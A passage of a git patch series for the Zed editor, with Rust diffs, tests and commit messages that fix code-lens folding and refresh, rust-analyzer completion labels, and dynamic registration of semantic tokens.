+            assert!(panel.amend_pending());
+        });
+
+        // Switching the active repository away exits the amend state instead of
+        // carrying it over to repository B.
+        repository_b.update(cx, |repository, cx| repository.set_as_active_repository(cx));
+        cx.run_until_parked();
+
+        panel.update(cx, |panel, cx| {
+            assert!(!panel.amend_pending());
+            // Only the active repository may serialize a pending amend, and we
+            // just left repository A's amend, so nothing is left pending.
+            let serialized = panel.serialized_commit_messages(cx);
+            assert!(serialized.values().all(|message| !message.amend_pending));
+        });
+
+        // Repository A's pre-amend draft is restored, discarding the amend edit.
+        let buffer_a = repository_a.read_with(cx, |repository, _| {
+            repository
+                .commit_message_buffer()
+                .expect("repository commit message buffer should be open")
+                .clone()
+        });
+        buffer_a.read_with(cx, |buffer, _| {
+            assert_eq!(buffer.text(), "Draft for A");
+        });
+    }
+
     #[gpui::test]
     async fn test_amend(cx: &mut TestAppContext) {
         init_test(cx);
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 1266f6f87eac1b..1056e45f3bb641 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -5421,6 +5421,10 @@ impl Repository {
             .starts_with(&self.snapshot.work_directory_abs_path)
     }
 
+    pub fn commit_message_buffer(&self) -> Option<&Entity<Buffer>> {
+        self.commit_message_buffer.as_ref()
+    }
+
     pub fn open_commit_buffer(
         &mut self,
         languages: Option<Arc<LanguageRegistry>>,

From 5837e7ef50f65d6e041d19ba6543532a1d596e6b Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sun, 28 Jun 2026 00:19:49 +0300
Subject: [PATCH 132/772] Hide code lens' blocks in folds (#60011)

Closes https://github.com/zed-industries/zed/issues/57053

Decided to be on a safest side and made only the code lens' blocks to
hide in folds: let me know if that's not desired and we should hide all
blocks (e.g. ctrl-enter for inline assist block is also not hiding and
looks odd).

Ran `ITERATIONS=100000 OPERATIONS=10 cargo test --profile release-fast
-p editor --lib display_map::tests::test_random_display_map --
--nocapture` and it passes successfully.

`SEED=770 OPERATIONS=50 cargo test --profile release-fast -p editor
--lib display_map::tests::test_random_display_map` seems to fail even on
`main`

Before:

<img width="392" height="155" alt="before"
src="https://github.com/user-attachments/assets/44d1a500-7512-49de-a9bd-2837c33353a9"
/>

After:

<img width="338" height="159" alt="after"
src="https://github.com/user-attachments/assets/671791d8-a443-4ca2-abb2-8049fe8910a7"
/>


Release Notes:

- Fixed code lens not hiding for folded regions
---
 crates/diagnostics/src/diagnostics_tests.rs |  1 -
 crates/editor/src/display_map/block_map.rs  | 83 ++++++++++++++++++++-
 crates/editor/src/test.rs                   | 12 +--
 3 files changed, 84 insertions(+), 12 deletions(-)

diff --git a/crates/diagnostics/src/diagnostics_tests.rs b/crates/diagnostics/src/diagnostics_tests.rs
index 613b485c94643f..7bac26fac7068b 100644
--- a/crates/diagnostics/src/diagnostics_tests.rs
+++ b/crates/diagnostics/src/diagnostics_tests.rs
@@ -412,7 +412,6 @@ async fn test_diagnostics_with_folds(cx: &mut TestAppContext) {
             "§ main.js
              § -----
              ⋯
-
              tset(); § no method `tset`"
         }
     );
diff --git a/crates/editor/src/display_map/block_map.rs b/crates/editor/src/display_map/block_map.rs
index 064e49ee3e072b..c8e1a4424b1156 100644
--- a/crates/editor/src/display_map/block_map.rs
+++ b/crates/editor/src/display_map/block_map.rs
@@ -1075,6 +1075,18 @@ impl BlockMap {
                     .iter()
                     .filter_map(|block| {
                         let placement = block.placement.to_wrap_row(wrap_snapshot)?;
+                        if !matches!(placement, BlockPlacement::Replace(_))
+                            && wrap_snapshot.intersects_fold(Point::new(
+                                block
+                                    .placement
+                                    .start()
+                                    .to_point(wrap_snapshot.buffer_snapshot())
+                                    .row,
+                                0,
+                            ))
+                        {
+                            return None;
+                        }
                         if let BlockPlacement::Above(row) = placement
                             && row < new_start
                         {
@@ -2934,7 +2946,8 @@ mod tests {
     use super::*;
     use crate::{
         display_map::{
-            Companion, fold_map::FoldMap, inlay_map::InlayMap, tab_map::TabMap, wrap_map::WrapMap,
+            Companion, fold_map::FoldMap, fold_map::FoldPlaceholder, inlay_map::InlayMap,
+            tab_map::TabMap, wrap_map::WrapMap,
         },
         test::test_font,
     };
@@ -3144,6 +3157,74 @@ mod tests {
         assert_eq!(snapshot.text(), "aaa\n\nb!!!\n\n\nbb\nccc\nddd\n\n\n");
     }
 
+    #[gpui::test]
+    fn test_blocks_hidden_in_folds(cx: &mut gpui::TestAppContext) {
+        cx.update(init_test);
+
+        let text = "line0\nline1\nline2\nline3\nline4";
+
+        let buffer = cx.update(|cx| MultiBuffer::build_simple(text, cx));
+        let buffer_snapshot = cx.update(|cx| buffer.read(cx).snapshot(cx));
+        let tab_size = 1.try_into().unwrap();
+        let (mut inlay_map, inlay_snapshot) = InlayMap::new(buffer_snapshot.clone());
+        let (mut fold_map, fold_snapshot) = FoldMap::new(inlay_snapshot);
+        let (mut tab_map, tab_snapshot) = TabMap::new(fold_snapshot, tab_size);
+        let (wrap_map, wraps_snapshot) =
+            cx.update(|cx| WrapMap::new(tab_snapshot, font("Helvetica"), px(14.0), None, cx));
+        let mut block_map = BlockMap::new(wraps_snapshot.clone(), 1, 1);
+
+        let above = |row| BlockProperties {
+            style: BlockStyle::Fixed,
+            placement: BlockPlacement::Above(buffer_snapshot.anchor_after(Point::new(row, 0))),
+            height: Some(1),
+            render: Arc::new(|_| div().into_any()),
+            priority: 0,
+        };
+        let below = |row| BlockProperties {
+            placement: BlockPlacement::Below(buffer_snapshot.anchor_after(Point::new(row, 0))),
+            ..above(row)
+        };
+
+        let mut writer = block_map.write(wraps_snapshot.clone(), Default::default(), None);
+        let block_ids = writer.insert(vec![above(1), above(2), below(2), above(4)]);
+        let (block_a, block_b, block_c, block_d) =
+            (block_ids[0], block_ids[1], block_ids[2], block_ids[3]);
+
+        let present_blocks =
+            |block_map: &mut BlockMap, wraps_snapshot: WrapSnapshot, wrap_edits: WrapPatch| {
+                let snapshot = block_map.read(wraps_snapshot, wrap_edits, None);
+                let max_row = snapshot.max_point().row;
+                snapshot
+                    .blocks_in_range(BlockRow(0)..BlockRow(max_row + 1))
+                    .filter_map(|(_, block)| Some(block.as_custom()?.id))
+                    .collect::<HashSet<_>>()
+            };
+
+        assert_eq!(
+            present_blocks(&mut block_map, wraps_snapshot, Default::default()),
+            HashSet::from_iter([block_a, block_b, block_c, block_d]),
+            "every block is present before folding",
+        );
+
+        // Fold lines 2 and 3 entirely, leaving line1 (the fold start) visible.
+        let (inlay_snapshot, inlay_edits) = inlay_map.sync(buffer_snapshot.clone(), vec![]);
+        let (mut fold_writer, _, _) = fold_map.write(inlay_snapshot, inlay_edits);
+        let (fold_snapshot, fold_edits) = fold_writer.fold(vec![(
+            Point::new(1, 5)..Point::new(3, 5),
+            FoldPlaceholder::test(),
+        )]);
+        let (tab_snapshot, tab_edits) = tab_map.sync(fold_snapshot, fold_edits, tab_size);
+        let (wraps_snapshot, wrap_edits) = wrap_map.update(cx, |wrap_map, cx| {
+            wrap_map.sync(tab_snapshot, tab_edits, cx)
+        });
+
+        assert_eq!(
+            present_blocks(&mut block_map, wraps_snapshot, wrap_edits),
+            HashSet::from_iter([block_a, block_d]),
+            "blocks B and C anchored to folded lines are dropped, A (fold-start line) and D (past the fold) stay",
+        );
+    }
+
     #[gpui::test]
     fn test_multibuffer_headers_and_footers(cx: &mut App) {
         init_test(cx);
diff --git a/crates/editor/src/test.rs b/crates/editor/src/test.rs
index 13be412b95a005..e217398faa8fec 100644
--- a/crates/editor/src/test.rs
+++ b/crates/editor/src/test.rs
@@ -6,17 +6,14 @@ use std::{rc::Rc, sync::LazyLock};
 pub use crate::rust_analyzer_ext::expand_macro_recursively;
 use crate::{
     DisplayPoint, Editor, EditorMode, FoldPlaceholder, MultiBuffer, SelectionEffects, Size,
-    display_map::{
-        Block, BlockPlacement, CustomBlockId, DisplayMap, DisplayRow, DisplaySnapshot,
-        ToDisplayPoint,
-    },
+    display_map::{Block, CustomBlockId, DisplayMap, DisplayRow, DisplaySnapshot, ToDisplayPoint},
 };
 use collections::HashMap;
 use gpui::{
     AppContext as _, Context, Entity, EntityId, Font, FontFeatures, FontStyle, FontWeight, Pixels,
     VisualTestContext, Window, font, size,
 };
-use multi_buffer::{MultiBufferOffset, ToPoint};
+use multi_buffer::MultiBufferOffset;
 use pretty_assertions::assert_eq;
 use project::{Project, project_settings::DiagnosticSeverity};
 use ui::{App, BorrowAppContext, IntoElement, px};
@@ -207,11 +204,6 @@ pub fn editor_content_with_blocks_and_size(
     for (row, block) in blocks {
         match block {
             Block::Custom(custom_block) => {
-                if let BlockPlacement::Near(x) = &custom_block.placement
-                    && snapshot.intersects_fold(x.to_point(&snapshot.buffer_snapshot()))
-                {
-                    continue;
-                };
                 let content = block_content_for_tests(editor, custom_block.id, cx)
                     .expect("block content not found");
                 // 2: "related info 1 for diagnostic 0"

From 73b235aeb45910363b61a43cbc49ca12d83de3de Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Sun, 28 Jun 2026 12:17:34 +0300
Subject: [PATCH 133/772] Refresh code lens after dynamic registration (#60009)

Follow-up to https://github.com/zed-industries/zed/pull/54100

Closes https://github.com/zed-industries/zed/issues/58864

Release Notes:

- Fixed code lens not being refresh after the corresponding capability
was dynamically registered

---------

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
---
 crates/editor/src/code_lens.rs            | 167 ++++++++++++++++++++++
 crates/project/src/lsp_store.rs           |  22 +--
 crates/project/src/lsp_store/code_lens.rs |  16 ++-
 3 files changed, 186 insertions(+), 19 deletions(-)

diff --git a/crates/editor/src/code_lens.rs b/crates/editor/src/code_lens.rs
index bd88f4ceda6287..3d262788af050e 100644
--- a/crates/editor/src/code_lens.rs
+++ b/crates/editor/src/code_lens.rs
@@ -769,6 +769,173 @@ mod tests {
         });
     }
 
+    #[gpui::test]
+    async fn test_code_lens_refresh_requeries_open_document(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        update_test_editor_settings(cx, &|settings| {
+            settings.code_lens = Some(CodeLens::On);
+        });
+
+        let mut cx = EditorLspTestContext::new_typescript(
+            lsp::ServerCapabilities {
+                code_lens_provider: Some(lsp::CodeLensOptions {
+                    resolve_provider: None,
+                }),
+                execute_command_provider: Some(lsp::ExecuteCommandOptions {
+                    commands: vec!["lens_cmd".to_string()],
+                    ..lsp::ExecuteCommandOptions::default()
+                }),
+                ..lsp::ServerCapabilities::default()
+            },
+            cx,
+        )
+        .await;
+
+        let lens_title = Arc::new(Mutex::new("Initial lens".to_string()));
+        let mut code_lens_request =
+            cx.set_request_handler::<lsp::request::CodeLensRequest, _, _>({
+                let lens_title = lens_title.clone();
+                move |_, _, _| {
+                    let lens_title = lens_title.clone();
+                    async move {
+                        let title = lens_title.lock().unwrap().clone();
+                        Ok(Some(vec![lsp::CodeLens {
+                            range: lsp::Range::new(
+                                lsp::Position::new(0, 0),
+                                lsp::Position::new(0, 19),
+                            ),
+                            command: Some(lsp::Command {
+                                title,
+                                command: "lens_cmd".to_owned(),
+                                arguments: None,
+                            }),
+                            data: None,
+                        }]))
+                    }
+                }
+            });
+
+        cx.set_state("ˇfunction hello() {}\nfunction world() {}");
+        assert!(
+            code_lens_request.next().await.is_some(),
+            "should have received the initial code lens request"
+        );
+        cx.run_until_parked();
+        cx.editor(|editor, _, cx| {
+            assert_eq!(
+                code_lens_assertion_text(editor, cx),
+                indoc! {r#"
+                    Lenses: Initial lens
+                    Line 1: function hello() {}
+                "#},
+                "initial fetch should render the server title"
+            );
+        });
+
+        *lens_title.lock().unwrap() = "Refreshed lens".to_string();
+        cx.lsp
+            .request::<lsp::request::CodeLensRefresh>((), lsp::DEFAULT_LSP_REQUEST_TIMEOUT)
+            .await
+            .into_response()
+            .expect("code lens refresh request failed");
+        cx.executor()
+            .advance_clock(LSP_REQUEST_DEBOUNCE_TIMEOUT * 2);
+        cx.run_until_parked();
+        cx.editor(|editor, _, cx| {
+            assert_eq!(
+                code_lens_assertion_text(editor, cx),
+                indoc! {r#"
+                    Lenses: Refreshed lens
+                    Line 1: function hello() {}
+                "#},
+                "refresh should update the displayed lens to the new server title"
+            );
+        });
+    }
+
+    #[gpui::test]
+    async fn test_code_lens_dynamic_registration_requeries_open_document(cx: &mut TestAppContext) {
+        init_test(cx, |_| {});
+        update_test_editor_settings(cx, &|settings| {
+            settings.code_lens = Some(CodeLens::On);
+        });
+
+        // The server advertises no code lens capability up front; it registers
+        // `textDocument/codeLens` dynamically only after the document is open.
+        let mut cx = EditorLspTestContext::new_typescript(
+            lsp::ServerCapabilities {
+                execute_command_provider: Some(lsp::ExecuteCommandOptions {
+                    commands: vec!["lens_cmd".to_string()],
+                    ..lsp::ExecuteCommandOptions::default()
+                }),
+                ..lsp::ServerCapabilities::default()
+            },
+            cx,
+        )
+        .await;
+
+        let _code_lens_request =
+            cx.set_request_handler::<lsp::request::CodeLensRequest, _, _>(move |_, _, _| async {
+                Ok(Some(vec![lsp::CodeLens {
+                    range: lsp::Range::new(lsp::Position::new(0, 0), lsp::Position::new(0, 19)),
+                    command: Some(lsp::Command {
+                        title: "Dynamic lens".to_owned(),
+                        command: "lens_cmd".to_owned(),
+                        arguments: None,
+                    }),
+                    data: None,
+                }]))
+            });
+
+        cx.set_state("ˇfunction hello() {}\nfunction world() {}");
+        // Drain any debounced refresh scheduled before the capability exists, so
+        // the post-registration re-query can only come from the dynamic
+        // registration handling itself.
+        cx.executor()
+            .advance_clock(LSP_REQUEST_DEBOUNCE_TIMEOUT * 2);
+        cx.run_until_parked();
+        cx.editor(|editor, _, cx| {
+            assert_eq!(
+                code_lens_assertion_text(editor, cx),
+                "\n",
+                "no lenses should render before the capability is registered"
+            );
+        });
+
+        cx.lsp
+            .request::<lsp::request::RegisterCapability>(
+                lsp::RegistrationParams {
+                    registrations: vec![lsp::Registration {
+                        id: "code-lens".to_string(),
+                        method: "textDocument/codeLens".to_string(),
+                        register_options: Some(
+                            serde_json::to_value(lsp::CodeLensOptions {
+                                resolve_provider: None,
+                            })
+                            .unwrap(),
+                        ),
+                    }],
+                },
+                lsp::DEFAULT_LSP_REQUEST_TIMEOUT,
+            )
+            .await
+            .into_response()
+            .expect("register capability request failed");
+        cx.executor()
+            .advance_clock(LSP_REQUEST_DEBOUNCE_TIMEOUT * 2);
+        cx.run_until_parked();
+        cx.editor(|editor, _, cx| {
+            assert_eq!(
+                code_lens_assertion_text(editor, cx),
+                indoc! {r#"
+                    Lenses: Dynamic lens
+                    Line 1: function hello() {}
+                "#},
+                "dynamic textDocument/codeLens registration should re-query and display lenses for the open document"
+            );
+        });
+    }
+
     #[gpui::test]
     async fn test_code_lens_blocks_kept_across_refresh(cx: &mut TestAppContext) {
         init_test(cx, |_| {});
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 454c4d18d87ba1..2d3f83097c4f0a 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1134,23 +1134,12 @@ impl LocalLspStore {
 
         language_server
             .on_request::<lsp::request::CodeLensRefresh, _, _>({
-                let this = lsp_store.clone();
+                let lsp_store = lsp_store.clone();
                 move |(), cx| {
-                    let this = this.clone();
-                    let mut cx = cx.clone();
-                    async move {
-                        this.update(&mut cx, |this, cx| {
-                            this.invalidate_code_lens();
-                            cx.emit(LspStoreEvent::RefreshCodeLens);
-                            this.downstream_client.as_ref().map(|(client, project_id)| {
-                                client.send(proto::RefreshCodeLens {
-                                    project_id: *project_id,
-                                })
-                            })
-                        })?
-                        .transpose()?;
-                        Ok(())
-                    }
+                    let result = lsp_store.update(cx, |lsp_store, cx| {
+                        lsp_store.refresh_code_lens(cx);
+                    });
+                    async move { result }
                 }
             })
             .detach();
@@ -13128,6 +13117,7 @@ impl LspStore {
                             capabilities.code_lens_provider = Some(caps);
                         });
                         notify_server_capabilities_updated(&server, cx);
+                        self.refresh_code_lens(cx);
                     }
                 }
                 "textDocument/diagnostic" => {
diff --git a/crates/project/src/lsp_store/code_lens.rs b/crates/project/src/lsp_store/code_lens.rs
index 0f1eae82aa3915..f21fb2ebb6b384 100644
--- a/crates/project/src/lsp_store/code_lens.rs
+++ b/crates/project/src/lsp_store/code_lens.rs
@@ -15,6 +15,7 @@ use rpc::{TypedEnvelope, proto};
 use settings::Settings as _;
 use std::time::Duration;
 use text::OffsetRangeExt as _;
+use util::ResultExt as _;
 
 use crate::{
     CodeAction, LspAction, LspStore, LspStoreEvent, Project,
@@ -71,10 +72,20 @@ fn flatten_cache(lens: &HashMap<LanguageServerId, CodeLensActions>) -> CodeLensA
 }
 
 impl LspStore {
-    pub(super) fn invalidate_code_lens(&mut self) {
+    pub(super) fn refresh_code_lens(&mut self, cx: &mut Context<Self>) {
         for lsp_data in self.lsp_data.values_mut() {
             lsp_data.code_lens = None;
         }
+
+        cx.emit(LspStoreEvent::RefreshCodeLens);
+        if let Some((downstream_client, project_id)) = self.downstream_client.as_ref() {
+            downstream_client
+                .send(proto::RefreshCodeLens {
+                    project_id: *project_id,
+                })
+                .context("sending refresh code lens downstream")
+                .log_err();
+        }
     }
 
     /// Fetches all code lenses for the buffer, each tagged with the
@@ -403,8 +414,7 @@ impl LspStore {
         mut cx: AsyncApp,
     ) -> Result<proto::Ack> {
         lsp_store.update(&mut cx, |lsp_store, cx| {
-            lsp_store.invalidate_code_lens();
-            cx.emit(LspStoreEvent::RefreshCodeLens);
+            lsp_store.refresh_code_lens(cx);
         });
         Ok(proto::Ack {})
     }

From afaef857b987d924c5ec09265a83feb030283f48 Mon Sep 17 00:00:00 2001
From: Xin Zhao <zx0@mail.ustc.edu.cn>
Date: Sun, 28 Jun 2026 18:08:29 +0800
Subject: [PATCH 134/772] languages: Fix Rust completion labels with
 `fullFunctionSignatures` enabled (#59125)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #57030

When `fullFunctionSignatures` is enabled in `rust-analyzer`, some
completion items returned by the language server have an unexpected
`filterText`. For example:
```jsonc
{
  "label": "sync_all(…)",
  "labelDetails": {
    "detail": "(alias fsync)",
    "description": "pub fn sync_all(&self) -> io::Result<()>"
  },
  "kind": 2,
  "sortText": "7ffffffa",
  "filterText": "sync_allfsync",
  ...
}
```
For such completion items, the rust-analyzer adapter falls back to an
outer range passed into the `mk_label` closure to determine the display
range:

https://github.com/zed-industries/zed/blob/c32c037c6b2b582552edc8c6b9bda513412c3bf4/crates/languages/src/rust.rs#L362-L371

For functions or methods, this fallback range is calculated here:

https://github.com/zed-industries/zed/blob/c32c037c6b2b582552edc8c6b9bda513412c3bf4/crates/languages/src/rust.rs#L424-L435

In this example, the `function_signature` is `"pub fn sync_all(&self) ->
io::Result<()>"`, and the regex matches up to `fn sync_all(&self) ->
io::Result<(`. Currently, the range passed to the `mk_label` closure
mistakenly covers `"ub fn sync_all(&self) -> io::Result<"` (causing the
first character 'p' to be truncated, as reported in #57030), whereas we
only want `"sync_all"` itself

This PR introduces two main changes to fix this behavior:
- Adjust the range start: Skip the leading `fn` keyword so that the
range starts exactly at the function or method name.
- Update the regex pattern: The current pattern matches up to the last
`(`, which causes incorrect slicing if the return type contains
parentheses (e.g., `Result<()>`). This is changed to match up to the
first `(`.

Release Notes:

- Fixed some rust completions has `ub fn ` as prefix when
`fullFunctionSignatures` is enabled
---
 crates/languages/src/rust.rs | 34 ++++++++++++++++++++++++++++++++--
 1 file changed, 32 insertions(+), 2 deletions(-)

diff --git a/crates/languages/src/rust.rs b/crates/languages/src/rust.rs
index 445bcfa5de3307..52e9a902a07eeb 100644
--- a/crates/languages/src/rust.rs
+++ b/crates/languages/src/rust.rs
@@ -422,7 +422,7 @@ impl LspAdapter for RustLspAdapter {
                 };
 
                 static FULL_SIGNATURE_REGEX: LazyLock<Regex> =
-                    LazyLock::new(|| Regex::new(r"fn (.?+)\(").expect("Failed to create REGEX"));
+                    LazyLock::new(|| Regex::new(r"fn (.+?)\(").expect("Failed to create REGEX"));
                 if let Some((function_signature, match_)) = function_signature
                     .filter(|it| it.contains(&label))
                     .and_then(|it| Some((it, FULL_SIGNATURE_REGEX.find(it)?)))
@@ -431,7 +431,7 @@ impl LspAdapter for RustLspAdapter {
                     let runs = language.highlight_text(&source, 0..function_signature.len());
                     mk_label(
                         function_signature.to_owned(),
-                        &|| match_.range().start - 3..match_.range().end - 1,
+                        &|| match_.range().start + 3..match_.range().end - 1,
                         runs,
                     )
                 } else if let Some((prefix, suffix)) = fn_prefixed {
@@ -1711,6 +1711,36 @@ mod tests {
             ))
         );
 
+        assert_eq!(
+            adapter
+                .label_for_completion(
+                    &lsp::CompletionItem {
+                        kind: Some(lsp::CompletionItemKind::METHOD),
+                        label: "sync_all(…)".to_string(),
+                        filter_text: Some("sync_allfsync".to_string()),
+                        label_details: Some(CompletionItemLabelDetails {
+                            detail: None,
+                            description: Some(
+                                "pub fn sync_all(&self) -> io::Result<()>".to_string()
+                            ),
+                        }),
+                        ..Default::default()
+                    },
+                    &language
+                )
+                .await,
+            Some(CodeLabel::new(
+                "pub fn sync_all(&self) -> io::Result<()>".to_string(),
+                7..15,
+                vec![
+                    (0..3, HighlightId::new(1)),
+                    (4..6, HighlightId::new(1)),
+                    (7..15, HighlightId::new(2)),
+                    (30..36, HighlightId::new(0))
+                ],
+            ))
+        );
+
         assert_eq!(
             adapter
                 .label_for_completion(

From 2a93ca53fd1e56d5257ac0ee7f9b5d28f5f812fe Mon Sep 17 00:00:00 2001
From: Artem Kalytiuk <39461987+tatsudo@users.noreply.github.com>
Date: Sun, 28 Jun 2026 15:48:10 +0200
Subject: [PATCH 135/772] Handle dynamic registration of semantic tokens
 capability (#60015)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

In C# files nothing gets semantic highlighting — class fields and other
identifiers are colored by tree-sitter only, so a private field looks
the same as a plain local variable.

The reason: Roslyn (the C# language server) doesn't declare
`semanticTokensProvider` statically in its `initialize` response. It
registers it **dynamically** (`client/registerCapability`), and only
when the client advertises
`textDocument.semanticTokens.dynamicRegistration = true`. Zed advertised
`false` and didn't handle such a registration, so Roslyn never offered
semantic tokens at all. (rust-analyzer/gopls are unaffected — they
declare the capability statically.)

This is the first of two PRs. This one makes Roslyn actually **send**
semantic tokens. The companion PR (#60027) maps Roslyn's C#-specific
token types to theme styles — without it the tokens arrive but most are
dropped, since their types aren't in Zed's default rules.

## Solution

- Advertise `textDocument.semanticTokens.dynamicRegistration = true`.
- Handle the `textDocument/semanticTokens` registration and
unregistration so the capability is stored, following the existing arms
for `documentLink`, diagnostics, etc.

## Testing

- Added a test that dynamically registers and unregisters
`textDocument/semanticTokens` and checks the stored capability appears
and is cleared.
- Verified manually against Roslyn on a C# project: Zed now sends
`textDocument/semanticTokens/full` and gets tokens back; before this
change there was no semantic-token traffic at all.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Support dynamic registration of the `textDocument/semanticTokens`
capability.

---------

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
---
 crates/editor/src/semantic_tokens.rs          | 101 ++++++++++++++
 crates/lsp/src/lsp.rs                         |   2 +-
 crates/project/src/lsp_store.rs               |  48 ++++---
 .../project/src/lsp_store/semantic_tokens.rs  |  23 ++++
 .../tests/integration/project_tests.rs        | 125 ++++++++++++++++++
 5 files changed, 278 insertions(+), 21 deletions(-)

diff --git a/crates/editor/src/semantic_tokens.rs b/crates/editor/src/semantic_tokens.rs
index 23ce7c41be7550..d5a2d06f1941fc 100644
--- a/crates/editor/src/semantic_tokens.rs
+++ b/crates/editor/src/semantic_tokens.rs
@@ -572,6 +572,107 @@ mod tests {
         assert_eq!(full_counter.load(atomic::Ordering::Acquire), 2);
     }
 
+    #[gpui::test]
+    async fn lsp_semantic_tokens_dynamic_registration_requeries_open_document(
+        cx: &mut TestAppContext,
+    ) {
+        init_test(cx, |_| {});
+
+        update_test_language_settings(cx, &|language_settings| {
+            language_settings.languages.0.insert(
+                "Rust".into(),
+                LanguageSettingsContent {
+                    semantic_tokens: Some(SemanticTokens::Full),
+                    ..LanguageSettingsContent::default()
+                },
+            );
+        });
+
+        // The server advertises no semantic tokens capability up front; it only
+        // registers `textDocument/semanticTokens` dynamically, after the document
+        // is already open (as Roslyn does).
+        let mut cx = EditorLspTestContext::new_rust(lsp::ServerCapabilities::default(), cx).await;
+
+        let full_counter = Arc::new(AtomicUsize::new(0));
+        let _full_request = cx
+            .set_request_handler::<lsp::request::SemanticTokensFullRequest, _, _>({
+                let full_counter = full_counter.clone();
+                move |_, _, _| {
+                    full_counter.fetch_add(1, atomic::Ordering::Release);
+                    async move {
+                        Ok(Some(lsp::SemanticTokensResult::Tokens(
+                            lsp::SemanticTokens {
+                                data: vec![0, 3, 4, 0, 0],
+                                result_id: None,
+                            },
+                        )))
+                    }
+                }
+            });
+
+        cx.set_state("ˇfn main() {}");
+        // Drain the refresh scheduled on open (while no capability exists yet), so a
+        // later request can only come from the dynamic-registration refresh itself.
+        cx.executor().advance_clock(Duration::from_millis(200));
+        cx.run_until_parked();
+        assert_eq!(
+            full_counter.load(atomic::Ordering::Acquire),
+            0,
+            "no semantic tokens should be requested before the capability is registered"
+        );
+        assert!(
+            extract_semantic_highlights(&cx.editor, &cx).is_empty(),
+            "no semantic highlights before the capability is registered"
+        );
+
+        cx.lsp
+            .request::<lsp::request::RegisterCapability>(
+                lsp::RegistrationParams {
+                    registrations: vec![lsp::Registration {
+                        id: "semantic-tokens".to_string(),
+                        method: "textDocument/semanticTokens".to_string(),
+                        register_options: Some(
+                            serde_json::to_value(lsp::SemanticTokensRegistrationOptions {
+                                text_document_registration_options:
+                                    lsp::TextDocumentRegistrationOptions {
+                                        document_selector: None,
+                                    },
+                                semantic_tokens_options: lsp::SemanticTokensOptions {
+                                    legend: lsp::SemanticTokensLegend {
+                                        token_types: vec!["function".into()],
+                                        token_modifiers: Vec::new(),
+                                    },
+                                    full: Some(lsp::SemanticTokensFullOptions::Bool(true)),
+                                    ..lsp::SemanticTokensOptions::default()
+                                },
+                                static_registration_options: lsp::StaticRegistrationOptions {
+                                    id: None,
+                                },
+                            })
+                            .unwrap(),
+                        ),
+                    }],
+                },
+                lsp::DEFAULT_LSP_REQUEST_TIMEOUT,
+            )
+            .await
+            .into_response()
+            .expect("register capability request failed");
+
+        cx.executor().advance_clock(Duration::from_millis(200));
+        cx.run_until_parked();
+        assert!(
+            full_counter.load(atomic::Ordering::Acquire) >= 1,
+            "dynamic registration should re-query semantic tokens for the open document"
+        );
+
+        assert_eq!(
+            extract_semantic_highlights(&cx.editor, &cx),
+            vec![MultiBufferOffset(3)..MultiBufferOffset(7)],
+            "the open document should display semantic tokens after dynamic registration"
+        );
+    }
+
     #[gpui::test]
     async fn lsp_semantic_tokens_full_none_result_id(cx: &mut TestAppContext) {
         init_test(cx, |_| {});
diff --git a/crates/lsp/src/lsp.rs b/crates/lsp/src/lsp.rs
index 6a7e15d0011e1a..550b27e131609d 100644
--- a/crates/lsp/src/lsp.rs
+++ b/crates/lsp/src/lsp.rs
@@ -934,7 +934,7 @@ impl LanguageServer {
                         dynamic_registration: Some(true),
                     }),
                     semantic_tokens: Some(SemanticTokensClientCapabilities {
-                        dynamic_registration: Some(false),
+                        dynamic_registration: Some(true),
                         requests: SemanticTokensClientCapabilitiesRequests {
                             range: None,
                             full: Some(SemanticTokensFullOptions::Delta { delta: Some(true) }),
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 2d3f83097c4f0a..24df7f5434a362 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1153,26 +1153,11 @@ impl LocalLspStore {
                     let request_id = request_id.clone();
                     let mut cx = cx.clone();
                     async move {
-                        lsp_store
-                            .update(&mut cx, |lsp_store, cx| {
-                                let request_id =
-                                    Some(request_id.fetch_add(1, atomic::Ordering::AcqRel));
-                                cx.emit(LspStoreEvent::RefreshSemanticTokens {
-                                    server_id,
-                                    request_id,
-                                });
-                                lsp_store
-                                    .downstream_client
-                                    .as_ref()
-                                    .map(|(client, project_id)| {
-                                        client.send(proto::RefreshSemanticTokens {
-                                            project_id: *project_id,
-                                            server_id: server_id.to_proto(),
-                                            request_id: request_id.map(|id| id as u64),
-                                        })
-                                    })
-                            })?
-                            .transpose()?;
+                        lsp_store.update(&mut cx, |lsp_store, cx| {
+                            let request_id =
+                                Some(request_id.fetch_add(1, atomic::Ordering::AcqRel));
+                            lsp_store.refresh_semantic_tokens(server_id, request_id, cx);
+                        })?;
                         Ok(())
                     }
                 }
@@ -13213,6 +13198,23 @@ impl LspStore {
                         notify_server_capabilities_updated(&server, cx);
                     }
                 }
+                "textDocument/semanticTokens" => {
+                    if let Some(caps) = reg
+                        .register_options
+                        .map(serde_json::from_value::<lsp::SemanticTokensRegistrationOptions>)
+                        .transpose()?
+                    {
+                        server.update_capabilities(|capabilities| {
+                            capabilities.semantic_tokens_provider = Some(
+                                lsp::SemanticTokensServerCapabilities::SemanticTokensRegistrationOptions(caps),
